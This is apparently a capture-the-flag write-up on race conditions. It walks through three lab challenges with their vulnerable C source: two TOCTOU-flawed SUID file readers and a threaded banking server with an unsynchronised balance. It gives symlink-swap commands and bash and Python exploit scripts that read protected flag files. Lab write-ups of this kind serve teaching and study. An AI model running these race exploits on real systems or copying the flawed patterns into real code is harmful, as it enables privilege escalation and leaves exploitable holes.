Race Conditions

Knock knock! Race condition. Who's there? - by vealending

This room is about race conditions, as the title states. In the home directories of Walk, Run and Sprint are in each of one a vulnerable SUID binary with its corresponding C source code. The task is to exploit the binary to read the contents of the flags.

Walk

Using the provided ssh credentials, we directly log in and check out the home directory of Walk. In this, we'll find the binary anti_flag_reader with its source code and a flag, owned by Walk.

Running the binary without any parameters, it's describing its usage.

Running the binary with the flag as a parameter reveals that it is checking the provided file path and if the file is a symbolic link. To progress, the user has to hit enter.

After hitting enter, it refuses to give us the flag. Obviously, the file path contained the flag.

Just to check with a file that is neither a symlink nor has the word flag in its file path, it is printing out the content for us.

So, next, we take a look at the source code. We see it is checking for the word flag in the provided file path (line 21) and if the file is a symbolic link (line 24). The results of the checks are stored in variables, which are then used after the user hit enter (line 29). The explicit check for symbolic links is a big hint for us.

A symbolic link is a file that points to a file or directory

Now, as long as the user doesn't hit enter, it is possible to replace the file and bypass the checks done before. Those are still valid and stored in the variables. This flaw is the so call Time-of-check to time-of-use vulnerability, where a program or system checks the status of something at one time but uses that information at a later time.

So, the vulnerability arises because the program assumes that the information obtained during the initial check will remain valid when it is actually used. The time gap between the check and use creates a window of opportunity for the file's state to change, potentially leading to incorrect or insecure behavior.

To abuse this vulnerability, we run the binary with a valid file, and replace it with a symbolic link pointing to the flag of user Walk.

anti_flag_reader.c
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp) {

    int n;
    char buf[1024];
    struct stat lstat_buf;

    if (argc != 2) {
        puts("Usage: anti_flag_reader <FILE>");
        return 1;
    }
    
    //Time of Check
    puts("Checking if 'flag' is in the provided file path...");
    int path_check = strstr(argv[1], "flag");
    puts("Checking if the file is a symlink...");
    lstat(argv[1], &lstat_buf);
    int symlink_check = (S_ISLNK(lstat_buf.st_mode));
    puts("<Press Enter to continue>");
    getchar();
    
    //Time of Use
    if (path_check || symlink_check) {
        puts("Nice try, but I refuse to give you the flag!");
        return 1;
    } else {
        puts("This file can't possibly be the flag. I'll print it out for you:\n");
        int fd = open(argv[1], 0);
        assert(fd >= 0 && "Failed to open the file");
        while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
    }
    
    return 0;
}

We used the already created file from our initial test. And don't hit enter.

Next, the symbolic link is created in another ssh session with ln -sf ../walk/flag file in the home directory of the user race.

ln make links between files

-s, --symbolic make symbolic links instead of hard links

-f, --force remove existing destination files

Hitting enter to continue gives us the flag of user Walk.

While trying to abuse the TOCTOU of the user Walk, the first attempts were done in the /tmp directory, creating files and symbolic links there for /home/walk/flag, which were without success. For more information see:

In the case of protected_symlinks for the /tmp directory, the feature ensures that only symlinks are followed when the uid of the symlink and follower matches, or when the directory owner matches the symlink’s owner, or outside a sticky world-writable directory such as /tmp.

This prevents other users or processes from creating malicious symlinks that could be exploited to access or modify sensitive files or directories.

Run

In the home directory of user Run, we'll find the binary cat2 with its source code and a flag, owned by Run.

Running cat2 with an example file, it advertises itself as a more secure version of the popular cat command by performing additional checks on the user's security context.

Looking at the source code of cat2, the checks are performed at line 24 by calling the function check_security_context. The function checks if the current user has read permission on that file with access(file_name, R_OK); after the check usleep is called, used to suspend the execution of the program for 500 microseconds.

It is almost the same case of a TOCTOU as with the binary of Walk. But this time we have to time the symbolic link creation more correctly. In the time frame after executing the check, and being in the sleep state of the program. The symbolic link has to point to /home/run/flag.

cat2.c
#include <stdio.h>
#include <unistd.h>
#include <assert.h>

int main(int argc, char **argv, char **envp) {

    int fd;
    int n;
    int context; 
    char buf[1024];

    if (argc != 2) {
        puts("Usage: cat2 <FILE>");
        return 1;
    }

    puts("Welcome to cat2!");
    puts("This program is a side project I've been working on to be a more secure version of the popular cat command");
    puts("Unlike cat, the cat2 command performs additional checks on the user's security context");
    puts("This allows the command to be security compliant even if executed with SUID permissions!\n");
    puts("Checking the user's security context...");
    
    //Time of Check
    context = check_security_contex(argv[1]);
    puts("Context has been checked, proceeding!\n");

    //Time of Use
    if (context == 0) {
        puts("The user has access, outputting file...\n");
        fd = open(argv[1], 0);
        assert(fd >= 0 && "Failed to open the file");
        while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
    } else {
        puts("[SECURITY BREACH] The user does not have access to this file!");
        puts("Terminating...");
        return 1;
    }
    
    return 0;
}

int check_security_contex(char *file_name) {

    int context_result;

    context_result = access(file_name, R_OK);
    //Time of Check takes 500 microseconds
    usleep(500);

    return context_result;
}

Before we continue, first we remove our test file file and write a simple bash script, which creates a valid file owned by race. Running cat2 in the background and after 200 microseconds creating the symbolic link to /home/run/flag while cat2 is running.

ex-run.sh
#!/bin/bash

touch file
/home/run/./cat2 file &
usleep 200
ln -sf /home/run/flag file
wait
rm file

Running the script, we are able to read the contents of /home/run/flag.

Sprint

As with the other users, we have the SUID binary bankingsystem, its corresponding c source code and the flag.

Checking out the source code, it is different to the other two.

It is a simple server application that listens for incoming connections on port 1337. It creates a new thread for each connection received to handle client requests concurrently. The server supports three commands: deposit, withdraw, and purchase flag.

  • deposit: the server increments the global variable money by 10,000.

  • withdraw: the server decrements the money variable by 10,000.

  • purchase flag: the server checks if the money variable is at least 15,000. If so, it sends the contents of the file located at /home/sprint/flag to the client using the sendfile function and deducts 15,000 from money. If the client doesn't have enough money, it sends a message indicating insufficient funds.

Looking at the variable money we see that is a shared variable. Multiple threads can access and modify this variable concurrently without any synchronization mechanism, which can lead to race conditions.

With each session created, we are only able to add 10,000. But if multiple threads execute the deposit operation simultaneously, they may read the value of money, modify it, and then update the value independently. This can result in incorrect calculations and an inconsistent final balance.

Similarly, if multiple threads execute the purchase flag operation concurrently and have enough money to purchase the flag, they may all read the value of money, check the balance, and proceed with the purchase. This can lead to the flag being purchased.

bankingsystem.c
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <sys/sendfile.h>
#include <sys/stat.h>
#include <string.h>
#include <fcntl.h>

typedef struct {
    int sock;
    struct sockaddr address;
    int addr_len;
} connection_t;

int money;

void *run_thread(void *ptr) {

    long addr;
    char *buffer;
    int buffer_len = 1024;
    char balance[512];
    int balance_length;
    connection_t *conn;

    if (!ptr) pthread_exit(0);

    conn = (connection_t *)ptr;
    addr = (long)((struct sockaddr_in *) &conn->address)->sin_addr.s_addr;
    buffer = malloc(buffer_len + 1);
    buffer[buffer_len] = 0;
    
    read(conn->sock, buffer, buffer_len);
    
    if (strstr(buffer, "deposit")) {
        money += 10000;
    } else if (strstr(buffer, "withdraw")) {
        money -= 10000;
    } else if (strstr(buffer, "purchase flag")) {
        if (money >= 15000) {
            sendfile(conn->sock, open("/home/sprint/flag", O_RDONLY), 0, 128);
            money -= 15000;
        } else {
            write(conn->sock, "Sorry, you don't have enough money to purchase the flag\n", 56);
        }
    }

    balance_length = snprintf(balance, 1024, "Current balance: %d\n", money);
    write(conn->sock, balance, balance_length);
    
    usleep(1);
    money = 0;
    
    close(conn->sock);
    free(buffer);
    free(conn);
    
    pthread_exit(0);
}

int main(int argc, char **argv) {

    int sock = -1;
    int port = 1337;
    struct sockaddr_in address;
    connection_t *connection;
    pthread_t thread;

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof(int));

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons(port);

    if (bind(sock, (struct sockaddr *) &address, sizeof(struct sockaddr_in)) < 0) {
        fprintf(stderr, "Cannot bind to port %d\n", port);
        return -1;
    }
    
    if (listen(sock, 32) < 0) {
        fprintf(stderr, "Cannot listen on port %d\n", port);
        return -1;
    }

    fprintf(stdout, "Listening for connections on port %d...\n", port);
    fprintf(stdout, "Accepted commands: \"deposit\", \"withdraw\", \"purchase flag\"\n");

    while (1) {
        connection = (connection_t *) malloc(sizeof(connection_t));
        connection->sock = accept(sock, &connection->address, &connection->addr_len);
        if (connection->sock <= 0) {
            free(connection);
        } else {
            fprintf(stdout, "Connection received! Creating a new handler thread...\n");
            pthread_create(&thread, 0, run_thread, (void *) connection);
            pthread_detach(thread);
        }
    }
    
    return 0;
}

Next, we check out the binary and run it.

Using Nmap to check if the port is open.

Connecting to the machine on port 1337 we are able to deposit and the connection closes.

Next, a script is needed to connect to the application multiple times concurrently to deposit and have them read the value of money, modify it, and then update the value independently with the chance of reading a value above 0 produced by other threads and getting a deposite above 10000.

ex-sprint.py
import socket
import threading

def send_request(command):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # Connect to the server at IP '10.10.23.206' and port 1337
        sock.connect(('10.10.23.206', 1337))  
        # Send the command to the server (encoded as bytes)
        sock.sendall(command.encode())  
        # Receive the response from the server (up to 1024 bytes)
        response = sock.recv(1024) 
        # Print the response after decoding it from bytes to string 
        print(response.decode())  
        # Close the socket connection
        sock.close()  
    except Exception as e:
        print(f"Error: {str(e)}")

def run_concurrent_operations():
    # The command to be sent to the server
    deposit = "deposit"  
    for i in range(1, 1000):
        # Create a new thread with the send_request function as the target
        t1 = threading.Thread(target=send_request, args=(deposit,))  
        # Start the thread, allowing it to run concurrently with other threads
        t1.start()  
    # Wait for all the threads to finish before moving forward
    t1.join()  

# Call the run_concurrent_operations function to execute the program
run_concurrent_operations()  

Running the script and observing the output we can see that sometimes the balance reached 20000 or 30000. Here we have proof of a race condition as described before and should be able to purchase the flag.

Next, we just add a thread to execute the purchase flag command to the script.

ex-sprint.py
import socket
import threading

def send_request(command):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # Connect to the server at IP '10.10.23.206' and port 1337
        sock.connect(('10.10.23.206', 1337))  
        # Send the command to the server (encoded as bytes)
        sock.sendall(command.encode())  
        # Receive the response from the server (up to 1024 bytes)
        response = sock.recv(1024) 
        # Print the response after decoding it from bytes to string 
        print(response.decode())  
        # Close the socket connection
        sock.close()  
    except Exception as e:
        print(f"Error: {str(e)}")

def run_concurrent_operations():
    # The commands to be sent to the server
    deposit = "deposit"  
    flag = "purchase flag"  
    for i in range(1, 1000):
        # Create a new thread with the send_request function as the target
        t1 = threading.Thread(target=send_request, args=(deposit,)) 
        t2 = threading.Thread(target=send_request, args=(flag,))  
        # Start the thread, allowing it to run concurrently with other threads
        t1.start()  
        t2.start()
    # Wait for all the threads to finish before moving forward
    t1.join()  
    t2.join()

# Call the run_concurrent_operations function to execute the program
run_concurrent_operations()  

After running the new script and scrolling trough the output eventually reveals to us the flag of user Sprint.

Last updated